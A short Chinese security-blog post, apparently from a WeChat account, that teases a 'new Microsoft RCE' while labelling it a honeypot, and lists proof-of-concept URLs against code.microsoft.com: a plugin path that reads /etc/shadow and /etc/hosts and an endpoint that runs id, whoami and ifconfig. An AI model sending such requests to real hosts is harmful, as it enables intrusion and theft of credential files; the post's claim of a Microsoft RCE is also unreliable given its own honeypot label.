新瓜速递–微软最新RCE?!

原创 zyxa 众亦信安 2024-04-26 00:00

文章导读

声明：
文中涉及到的技术和工具，仅供学习使用，禁止从事任何非法活动，如因此造成的直接或间接损失，均由使用者自行承担责任。

众亦信安，中意你啊！

点不了吃亏，点不了上当，设置星标，方能无恙！

漏洞？-【蜜罐】

poc：

http://code.microsoft.com/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=/etc/shadow

poc:

http://code.microsoft.com/pages/systemcall.php?command=id

poc:

http://code.microsoft.com/pages/systemcall.php?command=whoami

poc:

 http://code.microsoft.com/pages/systemcall.php?command=ifconfig

poc:

 http://code.microsoft.com/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=/etc/hosts

---

往这里看

点点关注不迷路，不定时持续分享各种干货。
可关注公众号回复”进群”，也可添加管理微信拉你入群。

顺便应师傅们要求弄个24年hvv沟通交流群，群人数满了可以添加下方群主微信回复hvv交流。

另外有想去hvv的师傅可以加v

---